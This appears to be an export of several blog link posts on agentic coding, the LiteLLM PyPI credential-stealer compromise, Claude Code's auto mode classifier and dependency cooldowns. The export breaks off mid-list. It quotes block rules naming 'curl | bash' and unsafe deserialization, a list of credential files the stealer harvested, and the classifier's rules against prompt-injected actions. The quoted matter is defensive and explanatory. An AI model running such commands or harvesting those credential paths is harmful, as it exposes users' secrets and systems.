  "commentary": "Mario Zechner created the [Pi agent framework](https://github.com/badlogic/pi-mono) used by OpenClaw, giving considerable credibility to his opinions on current trends in agentic engineering. He's not impressed:\r\n\r\n> We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned.\r\n\r\nAgents and humans both make mistakes, but agent mistakes accumulate much faster:\r\n\r\n> A human is a bottleneck. A human cannot shit out 20,000 lines of code in a few hours. Even if the human creates such booboos at high frequency, there's only so many booboos the human can introduce in a codebase per day. [...]\r\n>\r\n> With an orchestrated army of agents, there is no bottleneck, no human pain. These tiny little harmless booboos suddenly compound at a rate that's unsustainable. You have removed yourself from the loop, so you don't even know that all the innocent booboos have formed a monster of a codebase. You only feel the pain when it's too late. [...]\r\n>\r\n> You have zero fucking idea what's going on because you delegated all your agency to your agents. You let them run free, and they are merchants of complexity.\r\n\r\nI think Mario is exactly right about this. Agents let us move *so much faster*, but this speed also means that changes which we would normally have considered over the course of weeks are landing in a matter of hours.\r\n\r\nIt's so easy to let the codebase evolve outside of our abilities to reason clearly about it. [Cognitive debt](https://simonwillison.net/tags/cognitive-debt/) is real.\r\n\r\nMario recommends slowing down:\r\n\r\n> Give yourself time to think about what you're actually building and why. Give yourself an opportunity to say, fuck no, we don't need this. Set yourself limits on how much code you let the clanker generate per day, in line with your ability to actually review the code.\r\n>\r\n> Anything that defines the gestalt of your system, that is architecture, API, and so on, write it by hand. [...]\r\n\r\nI'm not convinced writing by hand is the best way to address this, but it's absolutely the case that we need the discipline to find a new balance of speed v.s. mental thoroughness now that typing out the code is no longer anywhere close to being the bottleneck on writing software.",
  "created": "2026-03-25T21:47:17+00:00",
  "metadata": {},
  "search_document": "'/badlogic/pi-mono)':30C '/tags/cognitive-debt/)':293C '000':108C '20':107C 'a':60C,97C,100C,102C,113C,137C,162C,187C,190C,267C,396C 'abilities':283C 'ability':344C 'about':237C,287C,305C 'absolutely':386C 'accumulate':94C 'actually':309C,346C 'addiction':63C 'address':381C 'agency':58C,216C 'agent':26C,92C 'agentic':19B,44C 'agentic-engineering':18B 'agents':14B,85C,146C,219C,239C 'ai':7B,10B 'all':55C,181C,214C 'also':249C 'amount':73C,79C 'an':142C,315C 'and':57C,86C,225C,311C,362C 'anything':350C 'anywhere':413C 'api':361C 'architecture':360C 'are':227C,264C 'army':144C 'at':123C,161C 'balance':398C 'basically':52C 'be':83C 'because':211C 'being':416C 'best':378C 'booboos':122C,131C,158C,184C 'both':88C 'bottleneck':101C,150C,418C 'building':310C 'but':91C,246C,383C 'by':32C,367C,374C 'can':134C 'cannot':104C 'case':388C 'changes':252C 'clanker':336C 'clearly':286C 'close':414C 'code':75C,111C,332C,349C,409C 'codebase':138C,191C,278C 'coding':13B 'coding-agents':12B 'cognitive':16B,289C 'cognitive-debt':15B 'complexity':230C 'compound':160C 'consequences':82C 'considerable':35C 'considered':258C 'convinced':372C 'course':261C 'created':23C 'creates':120C 'credibility':36C 'current':41C 'damned':84C 'day':140C,339C 'debt':17B,290C 'defines':352C 'delegated':213C 'discipline':56C,393C 'don':176C,322C 'down':6A,299C 'easy':274C 'engineering':20B,45C 'even':116C,178C 'evolve':279C 'exactly':235C 'faster':96C,245C 'feel':194C 'few':114C 'find':395C 'for':59C 'formed':186C 'framework':27C 'free':224C 'frequency':125C 'from':171C 'fuck':5A,319C 'fucking':205C 'generate':337C 'generative':9B 'generative-ai':8B 'gestalt':354C 'github.com':29C 'github.com/badlogic/pi-mono)':28C 'give':300C,313C 'given':53C 'giving':34C 'goal':67C 'going':209C 'hand':368C,375C 'harmless':157C 'have':51C,168C,185C,203C,257C 'he':46C 'high':124C 'highest':66C 'his':38C 'hours':115C,270C 'how':330C 'human':98C,103C,119C,133C,152C 'humans':87C 'i':231C,369C 'idea':206C 'if':117C 'impressed':49C 'in':43C,76C,112C,136C,266C,340C 'innocent':183C 'introduce':135C 'is':68C,99C,148C,234C,294C,359C,376C,410C 'it':198C,271C,288C,366C,384C 'know':179C 'landing':265C 'largest':72C 'late':201C 'let':221C,240C,276C,334C 'limits':328C 'line':341C 'lines':109C 'little':156C 'llms':11B 'longer':412C 'loop':173C 'm':370C 'make':89C 'many':130C 'mario':21C,233C,296C 'matter':268C 'means':250C 'mental':402C 'merchants':228C 'mistakes':90C,93C 'monster':188C 'move':242C 'much':95C,244C,331C 'need':324C,391C 'new':397C 'news.ycombinator.com':422C 'no':149C,151C,320C,411C 'normally':256C 'not':48C,371C 'now':404C 'of':62C,74C,80C,110C,145C,189C,229C,262C,269C,281C,355C,399C 'on':2A,40C,210C,329C,364C,419C 'only':128C,193C 'openclaw':33C 'opinions':39C 'opportunity':316C 'orchestrated':143C 'our':282C 'out':106C,407C 'outside':280C 'over':259C 'pain':153C,196C 'per':139C,338C 'pi':25C 'produce':70C 'rate':163C 're':308C 'real':295C 'reason':285C 'recommends':297C 'removed':169C 'review':347C 'right':236C 'run':223C 's':47C,127C,165C,199C,208C,272C,385C 'say':318C 'set':326C 'shit':105C 'shortest':78C 'simonwillison.net':292C 'simonwillison.net/tags/cognitive-debt/)':291C 'slowing':3A,298C 'so':129C,174C,243C,273C,363C 'software':421C 'sort':61C 'speed':248C,400C 'such':121C 'suddenly':159C 'system':357C 't':177C,323C 'that':164C,180C,251C,351C,358C,389C,405C 'the':4A,24C,71C,77C,118C,132C,172C,182C,195C,260C,277C,335C,348C,353C,377C,387C,392C,408C,417C 'them':222C 'there':126C,147C 'these':154C 'they':226C 'think':232C,304C 'this':238C,247C,325C,382C 'thoroughness':403C 'thoughts':1A 'time':81C,302C 'tiny':155C 'to':37C,69C,217C,275C,284C,303C,317C,345C,380C,394C,415C 'too':200C 'trends':42C 'typing':406C 'unsustainable':166C 'up':54C 'us':241C 'used':31C 'v.s':401C 'way':379C 'we':50C,254C,321C,390C 'weeks':263C 'what':207C,306C 'when':197C 'where':64C 'which':253C 'why':312C 'with':141C,342C 'would':255C 'write':365C 'writing':373C,420C 'you':167C,175C,192C,202C,212C,220C,307C,333C 'your':65C,215C,218C,343C,356C 'yourself':170C,301C,314C,327C 'zechner':22C 'zero':204C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-25 17:21:04+00:00
{
  "id": 9395,
  "slug": "litellm-hack",
  "link_url": "https://futuresearch.ai/blog/litellm-hack-were-you-one-of-the-47000/",
  "link_title": "LiteLLM Hack: Were You One of the 47,000?",
  "via_url": "https://twitter.com/hnykda/status/2036834100342825369",
  "via_title": "@hnykda",
  "commentary": "Daniel Hnyk used the [BigQuery PyPI dataset](https://console.cloud.google.com/bigquery?p=bigquery-public-data&d=pypi) to determine how many downloads there were of [the exploited LiteLLM packages](https://simonwillison.net/2026/Mar/24/malicious-litellm/) during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).\r\n\r\nThey also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.",
  "created": "2026-03-25T17:21:04+00:00",
  "metadata": {},
  "search_document": "'/2026/mar/24/malicious-litellm/)':41C '/bigquery?p=bigquery-public-data&d=pypi)':26C '000':9A '1.82.7':63C '1.82.8':65C '2':69C '337':70C '46':44C,55C '47':8A '88':76C '996':56C 'a':84C 'across':57C 'also':67C 'and':64C 'answer':53C 'avoided':89C 'bigquery':21C 'chain':16B 'compromised':60C 'console.cloud.google.com':25C 'console.cloud.google.com/bigquery?p=bigquery-public-data&d=pypi)':24C 'daniel':17C 'dataset':23C 'depended':73C 'determine':28C 'did':79C 'downloads':31C 'during':42C 'exploited':36C,91C 'futuresearch.ai':93C 'hack':2A 'have':88C 'hnyk':18C 'hnykda':94C 'how':29C 'identified':68C 'in':83C 'litellm':1A,37C,75C 'live':49C 'many':30C 'minute':45C 'not':80C 'of':6A,34C,77C 'on':50C,74C 'one':5A 'packages':38C,71C 'packaging':10B 'period':46C 'pin':81C 'pypi':11B,22C,51C 'python':12B 'release':61C 'security':13B 'simonwillison.net':40C 'simonwillison.net/2026/mar/24/malicious-litellm/)':39C 'supply':15B 'supply-chain':14B 'that':72C,86C 'the':7A,20C,35C,43C,52C,58C,90C 'there':32C 'they':47C,66C 'to':27C 'two':59C 'used':19C 'version':92C 'versions':62C,82C 'was':54C 'way':85C 'were':3A,33C,48C 'which':78C 'would':87C 'you':4A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-24 23:57:33+00:00
{
  "id": 9394,
  "slug": "auto-mode-for-claude-code",
  "link_url": "https://claude.com/blog/auto-mode",
  "link_title": "Auto mode for Claude Code",
  "via_url": null,
  "via_title": null,
  "commentary": "Really interesting new development in Claude Code today as an alternative to `--dangerously-skip-permissions`:\r\n\r\n> Today, we're introducing auto mode, a new permissions mode in Claude Code where Claude makes permission decisions on your behalf, with safeguards monitoring actions before they run.\r\n\r\nThose safeguards appear to be implemented using Claude Sonnet 4.6, as [described in the documentation](https://code.claude.com/docs/en/permission-modes#eliminate-prompts-with-auto-mode):\r\n\r\n> Before each action runs, a separate classifier model reviews the conversation and decides whether the action matches what you asked for: it blocks actions that escalate beyond the task scope, target infrastructure the classifier doesn\u2019t recognize as trusted, or appear to be driven by hostile content encountered in a file or web page. [...]\r\n>\r\n> **Model**: the classifier runs on Claude Sonnet 4.6, even if your main session uses a different model.\r\n\r\nThey ship with an extensive set of default filters, and you can also customize them further with your own rules. The most interesting insight into how they work comes when you run this new command in the terminal:\r\n\r\n    claude auto-mode defaults\r\n\r\n[Here's the full JSON output](https://gist.githubusercontent.com/simonw/91863bfd9f7ebf916d1fabb8e6940335/raw/cda3c88e919b8238e85d3f1cc990e8ff48ad9a18/defaults.json). It's pretty long, so here's an illustrative subset:\r\n\r\nFrom the \"allow\" list:\r\n\r\n> - Test Artifacts: Hardcoded test API keys, placeholder credentials in examples, or hardcoding test cases\r\n> - Local Operations: Agent deleting local files in working directory, local file operations within project scope, or using `--ignore-certificate-errors` for local testing. \"Project scope\" means the repository the session started in \u2014 wandering into ~/, ~/Library/, /etc, or other repos is scope escalation (User Intent Rule #2), not a local operation. Does NOT cover irreversible destruction of pre-existing files or local stateful services \u2014 see \"Irreversible Local Destruction\" in BLOCK.\r\n> - Read-Only Operations: GET requests, read-only API calls, or queries that don't modify state and don't contain sensitive information in the URL. Note: PREEMPTIVE BLOCK ON CLEAR INTENT still applies \u2014 if the transcript contains clear evidence the agent is using read-only operations to scout for a blocked action, block it.\r\n> - Declared Dependencies: Installing packages that are already declared in the repo's manifest files (requirements.txt, package.json, Cargo.toml, pyproject.toml, Gemfile, etc.) via standard commands that read those manifests (`pip install -r requirements.txt`, `npm install`, `cargo build`, `bundle install`) \u2014 provided the agent has not modified the manifest in this session. Does NOT cover installing agent-chosen package names (e.g. `pip install foo`, `npm install bar`) \u2014 those carry typosquat and supply-chain risk. [...]\r\n\r\nFrom \"soft_deny\":\r\n\r\n> - Git Destructive: Force pushing (`git push --force`), deleting remote branches, or rewriting remote history\r\n> - Git Push to Default Branch: Pushing directly to main, master, or the repository's default branch \u2014 this bypasses pull request review. Commits should be pushed to a new feature branch instead.\r\n> -Code from External: Downloading and executing code from external sources \u2014 e.g. `curl | bash`, deserializing external data via formats that can execute code (eval, exec, yaml.unsafe_load, pickle, etc), or similar mechanisms. Also includes running code from an external repo cloned earlier in the transcript (pip install -e, make install, python script.py, pickle.load/torch.load on cloned repo files) \u2014 \"local on disk\" does not mean trusted if it was cloned from an external source visible in the transcript. The repo the agent starts in is trusted.\r\n> - Cloud Storage Mass Delete: Deleting or mass modifying files on cloud storage (S3, GCS, Azure Blob, etc.) [...]\r\n\r\nI remain unconvinced by prompt injection protections that rely on AI, since they're non-deterministic by nature. The documentation does warn that this may still let things through:\r\n\r\n> The classifier may still allow some risky actions: for example, if user intent is ambiguous, or if Claude doesn't have enough context about your environment to know an action might create additional risk.\r\n\r\nThe fact that the default allow list includes `pip install -r requirements.txt` also means that this wouldn't protect against supply chain attacks with unpinned dependencies, as seen this morning [with LiteLLM](https://simonwillison.net/2026/Mar/24/malicious-litellm/).\r\n\r\nI still want my coding agents to run in a robust sandbox by default, one that restricts file access and network connections in a deterministic way. I trust those a whole lot more than prompt-based protections like this new auto mode.",
  "created": "2026-03-24T23:57:33+00:00",
  "metadata": {},
  "search_document": "'/2026/mar/24/malicious-litellm/).':682C '/docs/en/permission-modes#eliminate-prompts-with-auto-mode):':82C '/etc':270C '/library':269C '/simonw/91863bfd9f7ebf916d1fabb8e6940335/raw/cda3c88e919b8238e85d3f1cc990e8ff48ad9a18/defaults.json).':205C '/torch.load':535C '2':280C '4.6':74C,144C 'a':43C,87C,132C,151C,282C,357C,477C,692C,706C,712C 'about':637C 'access':701C 'action':85C,98C,359C,643C 'actions':61C,106C,621C 'additional':646C 'against':667C 'agent':236C,347C,401C,415C,562C 'agent-chosen':414C 'agents':17B,688C 'ai':7B,13B,594C 'allow':218C,618C,653C 'already':368C 'also':166C,513C,660C 'alternative':31C 'ambiguous':628C 'an':30C,157C,213C,518C,552C,642C 'and':94C,163C,323C,429C,486C,702C 'api':224C,314C 'appear':67C,123C 'applies':339C 'are':367C 'artifacts':221C 'as':29C,75C,120C,674C 'asked':102C 'attacks':670C 'auto':1A,41C,194C,724C 'auto-mode':193C 'azure':581C 'bar':425C 'based':719C 'bash':494C 'be':69C,125C,474C 'before':62C,83C 'behalf':57C 'beyond':109C 'blob':582C 'block':304C,334C,360C 'blocked':358C 'blocks':105C 'branch':455C,466C,480C 'branches':446C 'build':396C 'bundle':397C 'by':127C,587C,601C,695C 'bypasses':468C 'calls':315C 'can':165C,501C 'cargo':395C 'cargo.toml':378C 'carry':427C 'cases':233C 'certificate':253C 'chain':432C,669C 'chosen':416C 'classifier':89C,116C,139C,615C 'claude':4A,19B,26C,48C,51C,72C,142C,192C,631C 'claude-code':18B 'claude.com':726C 'clear':336C,344C 'cloned':521C,537C,550C 'cloud':567C,577C 'code':5A,20B,27C,49C,482C,488C,503C,516C 'code.claude.com':81C 'code.claude.com/docs/en/permission-modes#eliminate-prompts-with-auto-mode):':80C 'coding':16B,687C 'coding-agents':15B 'comes':182C 'command':188C 'commands':384C 'commits':472C 'connections':704C 'contain':326C 'contains':343C 'content':129C 'context':636C 'conversation':93C 'cover':287C,412C 'create':645C 'credentials':227C 'curl':493C 'customize':167C 'dangerously':34C 'dangerously-skip-permissions':33C 'data':497C 'decides':95C 'decisions':54C 'declared':362C,369C 'default':161C,454C,465C,652C,696C 'defaults':196C 'delete':570C 'deleting':237C,444C,571C 'deny':436C 'dependencies':363C,673C 'described':76C 'deserializing':495C 'destruction':289C,302C 'destructive':438C 'deterministic':600C,707C 'development':24C 'different':152C 'directly':457C 'directory':242C 'disk':542C 'documentation':79C,604C 'does':285C,410C,543C,605C 'doesn':117C,632C 'don':319C,324C 'downloading':485C 'driven':126C 'e':528C 'e.g':419C,492C 'each':84C 'earlier':522C 'encountered':130C 'enough':635C 'environment':639C 'errors':254C 'escalate':108C 'escalation':276C 'etc':381C,509C,583C 'eval':504C 'even':145C 'evidence':345C 'example':623C 'examples':229C 'exec':505C 'execute':502C 'executing':487C 'existing':293C 'extensive':158C 'external':484C,490C,496C,519C,553C 'fact':649C 'feature':479C 'file':133C,244C,700C 'files':239C,294C,375C,539C,575C 'filters':162C 'foo':422C 'for':3A,103C,255C,356C,622C 'force':439C,443C 'formats':499C 'from':216C,434C,483C,489C,517C,551C 'full':200C 'further':169C 'gcs':580C 'gemfile':380C 'generative':12B 'generative-ai':11B 'get':309C 'gist.githubusercontent.com':204C 'gist.githubusercontent.com/simonw/91863bfd9f7ebf916d1fabb8e6940335/raw/cda3c88e919b8238e85d3f1cc990e8ff48ad9a18/defaults.json).':203C 'git':437C,441C,451C 'hardcoded':222C 'hardcoding':231C 'has':402C 'have':634C 'here':197C,211C 'history':450C 'hostile':128C 'how':179C 'i':584C,683C,709C 'if':146C,340C,547C,624C,630C 'ignore':252C 'ignore-certificate-errors':251C 'illustrative':214C 'implemented':70C 'in':25C,47C,77C,131C,189C,228C,240C,266C,303C,329C,370C,407C,523C,556C,564C,691C,705C 'includes':514C,655C 'information':328C 'infrastructure':114C 'injection':10B,589C 'insight':177C 'install':390C,394C,398C,421C,424C,527C,530C,657C 'installing':364C,413C 'instead':481C 'intent':278C,337C,626C 'interesting':22C,176C 'into':178C,268C 'introducing':40C 'irreversible':288C,300C 'is':274C,348C,565C,627C 'it':104C,206C,361C,548C 'json':201C 'keys':225C 'know':641C 'let':611C 'like':721C 'list':219C,654C 'litellm':679C 'llms':14B 'load':507C 'local':234C,238C,243C,256C,283C,296C,301C,540C 'long':209C 'lot':714C 'main':148C,459C 'make':529C 'makes':52C 'manifest':374C,406C 'manifests':388C 'mass':569C,573C 'master':460C 'matches':99C 'may':609C,616C 'mean':545C 'means':260C,661C 'mechanisms':512C 'might':644C 'mode':2A,42C,46C,195C,725C 'model':90C,137C,153C 'modified':404C 'modify':321C 'modifying':574C 'monitoring':60C 'more':715C 'morning':677C 'most':175C 'my':686C 'names':418C 'nature':602C 'network':703C 'new':23C,44C,187C,478C,723C 'non':599C 'non-deterministic':598C 'not':281C,286C,403C,411C,544C 'note':332C 'npm':393C,423C 'of':160C,290C 'on':55C,141C,335C,536C,541C,576C,593C 'one':697C 'only':307C,313C,352C 'operation':284C 'operations':235C,245C,308C,353C 'or':122C,134C,230C,249C,271C,295C,316C,447C,461C,510C,572C,629C 'other':272C 'output':202C 'own':172C 'package':417C 'package.json':377C 'packages':365C 'page':136C 'permission':53C 'permissions':36C,45C 'pickle':508C 'pickle.load':534C 'pickle.load/torch.load':533C 'pip':389C,420C,526C,656C 'placeholder':226C 'pre':292C 'pre-existing':291C 'preemptive':333C 'pretty':208C 'project':247C,258C 'prompt':9B,588C,718C 'prompt-based':717C 'prompt-injection':8B 'protect':666C 'protections':590C,720C 'provided':399C 'pull':469C 'push':442C,452C 'pushed':475C 'pushing':440C,456C 'pyproject.toml':379C 'python':531C 'queries':317C 'r':391C,658C 're':39C,597C 'read':306C,312C,351C,386C 'read-only':305C,311C,350C 'really':21C 'recognize':119C 'rely':592C 'remain':585C 'remote':445C,449C 'repo':372C,520C,538C,560C 'repos':273C 'repository':262C,463C 'request':470C 'requests':310C 'requirements.txt':376C,392C,659C 'restricts':699C 'review':471C 'reviews':91C 'rewriting':448C 'risk':433C,647C 'risky':620C 'robust':693C 'rule':279C 'rules':173C 'run':64C,185C,690C 'running':515C 'runs':86C,140C 's':198C,207C,212C,373C,464C 's3':579C 'safeguards':59C,66C 'sandbox':694C 'scope':112C,248C,259C,275C 'scout':355C 'script.py':532C 'security':6B 'see':299C 'seen':675C 'sensitive':327C 'separate':88C 'services':298C 'session':149C,264C,409C 'set':159C 'ship':155C 'should':473C 'similar':511C 'simonwillison.net':681C 'simonwillison.net/2026/mar/24/malicious-litellm/).':680C 'since':595C 'skip':35C 'so':210C 'soft':435C 'some':619C 'sonnet':73C,143C 'source':554C 'sources':491C 'standard':383C 'started':265C 'starts':563C 'state':322C 'stateful':297C 'still':338C,610C,617C,684C 'storage':568C,578C 'subset':215C 'supply':431C,668C 'supply-chain':430C 't':118C,320C,325C,633C,665C 'target':113C 'task':111C 'terminal':191C 'test':220C,223C,232C 'testing':257C 'than':716C 'that':107C,318C,366C,385C,500C,591C,607C,650C,662C,698C 'the':78C,92C,97C,110C,115C,138C,174C,190C,199C,217C,261C,263C,330C,341C,346C,371C,400C,405C,462C,524C,557C,559C,561C,603C,614C,648C,651C 'them':168C 'they':63C,154C,180C,596C 'things':612C 'this':186C,408C,467C,608C,663C,676C,722C 'those':65C,387C,426C,711C 'through':613C 'to':32C,68C,124C,354C,453C,458C,476C,640C,689C 'today':28C,37C 'transcript':342C,525C,558C 'trust':710C 'trusted':121C,546C,566C 'typosquat':428C 'unconvinced':586C 'unpinned':672C 'url':331C 'user':277C,625C 'uses':150C 'using':71C,250C,349C 'via':382C,498C 'visible':555C 'wandering':267C 'want':685C 'warn':606C 'was':549C 'way':708C 'we':38C 'web':135C 'what':100C 'when':183C 'where':50C 'whether':96C 'whole':713C 'with':58C,156C,170C,671C,678C 'within':246C 'work':181C 'working':241C 'wouldn':664C 'yaml.unsafe':506C 'you':101C,164C,184C 'your':56C,147C,171C,638C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-24 21:11:38+00:00
{
  "id": 9393,
  "slug": "package-managers-need-to-cool-down",
  "link_url": "https://nesbitt.io/2026/03/04/package-managers-need-to-cool-down.html",
  "link_title": "Package Managers Need to Cool Down",
  "via_url": null,
  "via_title": null,
  "commentary": "Today's [LiteLLM supply chain attack](https://simonwillison.net/2026/Mar/24/malicious-litellm/) inspired me to revisit the idea of [dependency cooldowns](https://simonwillison.net/2025/Nov/21/dependency-cooldowns/), the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way.\r\n\r\nThis recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's been a flurry of activity across major packaging tools, including:\r\n\r\n- [pnpm 10.16](https://pnpm.io/blog/releases/10.16#new-setting-for-delayed-dependency-updates) (September 2025) \u2014 `minimumReleaseAge` with `minimumReleaseAgeExclude` for trusted packages\r\n- [Yarn 4.10.0](https://github.com/yarnpkg/berry/releases/tag/%40yarnpkg%2Fcli%2F4.10.0) (September 2025) \u2014 `npmMinimalAgeGate` (in minutes) with `npmPreapprovedPackages` for exemptions\r\n- [Bun 1.3](https://bun.com/blog/bun-v1.3#minimum-release-age) (October 2025) \u2014 `minimumReleaseAge` via `bunfig.toml`\r\n- [Deno 2.6](https://deno.com/blog/v2.6#controlling-dependency-stability) (December 2025) \u2014 `--minimum-dependency-age` for `deno update` and `deno outdated`\r\n- [uv 0.9.17](https://github.com/astral-sh/uv/releases/tag/0.9.17) (December 2025) \u2014 added relative duration support to existing `--exclude-newer`, plus per-package overrides via `exclude-newer-package`\r\n- [pip 26.0](https://ichard26.github.io/blog/2026/01/whats-new-in-pip-26.0/) (January 2026) \u2014 `--uploaded-prior-to` (absolute timestamps only; [relative duration support requested](https://github.com/pypa/pip/issues/13674), **update**: and added [in pip 26.1 in April](https://ichard26.github.io/blog/2026/04/whats-new-in-pip-26.1/))\r\n- [npm 11.10.0](https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration) (February 2026) \u2014 `min-release-age`\r\n\r\n`pip` currently only supports absolute rather than relative dates but Seth Larson [has a workaround for that](https://sethmlarson.dev/pip-relative-dependency-cooling-with-crontab) using a scheduled cron to update the absolute date in the `pip.conf` config file.",
  "created": "2026-03-24T21:11:38+00:00",
  "metadata": {},
  "search_document": "'/2025/nov/21/dependency-cooldowns/),':39C '/2026/mar/24/malicious-litellm/)':27C '/astral-sh/uv/releases/tag/0.9.17)':171C '/blog/2026/01/whats-new-in-pip-26.0/)':197C '/blog/2026/04/whats-new-in-pip-26.1/))':224C '/blog/bun-v1.3#minimum-release-age)':144C '/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration)':229C '/blog/releases/10.16#new-setting-for-delayed-dependency-updates)':117C '/blog/v2.6#controlling-dependency-stability)':154C '/pip-relative-dependency-cooling-with-crontab)':255C '/pypa/pip/issues/13674),':213C '/yarnpkg/berry/releases/tag/%40yarnpkg%2fcli%2f4.10.0)':130C '0.9.17':168C '1.3':141C '10.16':114C '11.10.0':226C '2.6':151C '2025':119C,132C,146C,156C,173C '2026':199C,231C '26.0':194C '26.1':219C '4.10.0':127C '4th':79C 'a':56C,63C,104C,249C,257C 'absolute':204C,240C,263C 'across':92C,108C 'activity':107C 'added':174C,216C 'age':160C,235C 'and':164C,215C 'andrew':82C 'april':221C 'attack':24C 'been':50C,70C,103C 'bun':140C 'bun.com':143C 'bun.com/blog/bun-v1.3#minimum-release-age)':142C 'bunfig.toml':149C 'but':245C 'by':81C 'chain':17B,23C 'chance':64C 'community':62C 'config':268C 'cool':5A 'cooldown':90C 'cooldowns':36C 'cron':259C 'current':86C 'currently':237C 'date':264C 'dates':244C 'days':58C 'december':155C,172C 'deno':14B,150C,162C,165C 'deno.com':153C 'deno.com/blog/v2.6#controlling-dependency-stability)':152C 'dependencies':46C 'dependency':35C,89C,159C 'different':93C 'down':6A 'duration':176C,208C 'exclude':181C,190C 'exclude-newer':180C 'exclude-newer-package':189C 'exemptions':139C 'existing':179C 'february':230C 'few':57C 'file':269C 'flurry':105C 'for':55C,123C,138C,161C,251C 'github.com':129C,170C,212C 'github.com/astral-sh/uv/releases/tag/0.9.17)':169C 'github.com/pypa/pip/issues/13674),':211C 'github.com/yarnpkg/berry/releases/tag/%40yarnpkg%2fcli%2f4.10.0)':128C 'give':60C 'has':248C 'ichard26.github.io':196C,223C 'ichard26.github.io/blog/2026/01/whats-new-in-pip-26.0/)':195C 'ichard26.github.io/blog/2026/04/whats-new-in-pip-26.1/))':222C 'idea':33C 'if':67C 'in':52C,72C,134C,217C,220C,265C 'including':112C 'inspired':28C 'installing':44C 'it':96C 'january':198C 'javascript':7B 'larson':247C 'litellm':21C 'major':109C 'managers':2A 'march':78C 'me':29C 'mechanisms':91C 'min':233C 'min-release-age':232C 'minimum':158C 'minimum-dependency-age':157C 'minimumreleaseage':120C,147C 'minimumreleaseageexclude':122C 'minutes':135C 'need':3A 'nesbitt':83C 'nesbitt.io':270C 'newer':182C,191C 'npm':13B,225C 'npmminimalagegate':133C 'npmpreapprovedpackages':137C 'october':145C 'of':34C,42C,88C,106C 'once':47C 'only':43C,206C,238C 'out':51C 'outdated':166C 'overrides':187C 'package':1A,186C,192C 'packages':125C 'packaging':8B,94C,110C 'per':185C 'per-package':184C 'piece':77C,80C 'pip':9B,193C,218C,236C 'pip.conf':267C 'plus':183C 'pnpm':113C 'pnpm.io':116C 'pnpm.io/blog/releases/10.16#new-setting-for-delayed-dependency-updates)':115C 'practice':41C 'prior':202C 'pypi':10B 'python':11B 'rather':241C 'recent':76C 'relative':175C,207C,243C 'release':234C 'requested':210C 'reviews':84C 'revisit':31C 's':20C,97C,102C 'scheduled':258C 'security':12B 'september':118C,131C 'seth':246C 'sethmlarson.dev':254C 'sethmlarson.dev/pip-relative-dependency-cooling-with-crontab)':253C 'simonwillison.net':26C,38C 'simonwillison.net/2025/nov/21/dependency-cooldowns/),':37C 'simonwillison.net/2026/mar/24/malicious-litellm/)':25C 'socket.dev':228C 'socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration)':227C 'some':73C 'spot':66C 'state':87C 'subverted':71C 'supply':16B,22C 'supply-chain':15B 'support':177C,209C 'supported':100C 'supports':239C 'surprisingly':98C 'than':242C 'that':252C 'the':32C,40C,53C,61C,85C,262C,266C 'there':101C 'they':48C,68C 'this':75C 'timestamps':205C 'to':4A,30C,59C,65C,178C,203C,260C 'today':19C 'tools':95C,111C 'trusted':124C 'update':163C,214C,261C 'updated':45C 'uploaded':201C 'uploaded-prior-to':200C 'using':256C 'uv':18B,167C 've':49C,69C 'via':148C,188C 'way':74C 'well':99C 'wild':54C 'with':121C,136C 'workaround':250C 'yarn':126C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-24 20:35:52+00:00
{
  "id": 2126,
  "slug": "christopher-mims",
  "quotation": "I really think \"give AI total control of my computer and therefore my entire life\" is going to look so foolish in retrospect that everyone who went for this is going to look as dumb as Jimmy Fallon holding up a picture of his Bored Ape",
  "source": "Christopher Mims",
  "source_url": "https://bsky.app/profile/mims.bsky.social/post/3mhsux67xpk2d",
  "created": "2026-03-24T20:35:52+00:00",
  "metadata": {},
  "search_document": "'a':41A 'ai':5A,48B 'and':11A 'ape':46A 'as':34A,36A 'bored':45A 'christopher':49C 'computer':10A 'control':7A 'dumb':35A 'entire':14A 'everyone':25A 'fallon':38A 'foolish':21A 'for':28A 'give':4A 'going':17A,31A 'his':44A 'holding':39A 'i':1A 'in':22A 'is':16A,30A 'jimmy':37A 'life':15A 'look':19A,33A 'mims':50C 'my':9A,13A 'of':8A,43A 'picture':42A 'really':2A 'retrospect':23A 'security':47B 'so':20A 'that':24A 'therefore':12A 'think':3A 'this':29A 'to':18A,32A 'total':6A 'up':40A 'went':27A 'who':26A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Technology columnist at The Wall Street Journal"
}
blogmark 2026-03-24 15:07:31+00:00
{
  "id": 9392,
  "slug": "malicious-litellm",
  "link_url": "https://github.com/BerriAI/litellm/issues/24512",
  "link_title": "Malicious litellm_init.pth in litellm 1.82.8 \u2014 credential stealer",
  "via_url": null,
  "via_title": null,
  "commentary": "The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a `litellm_init.pth` file, which means installing the package is enough to trigger it even without running `import litellm`.\r\n\r\n(1.82.7 had the exploit as well but it was in the `proxy/proxy_server.py` file so the package had to be imported for it to take effect.)\r\n\r\nThis issue has a very detailed description of what the credential stealer does. There's more information about the timeline of the exploit [over here](https://github.com/BerriAI/litellm/issues/24518).\r\n\r\nPyPI has already [quarantined](https://pypi.org/help/#project_in_quarantine) the [litellm package](https://pypi.org/project/litellm/) so the window for compromise was just a few hours, but if you DID install the package it would have hoovered up a bewildering array of secrets, including `~/.ssh/`, `~/.gitconfig`, `~/.git-credentials`, `~/.aws/`, `~/.kube/`, `~/.config/`, `~/.azure/`, `~/.docker/`, `~/.npmrc`, `~/.vault-token`, `~/.netrc`, 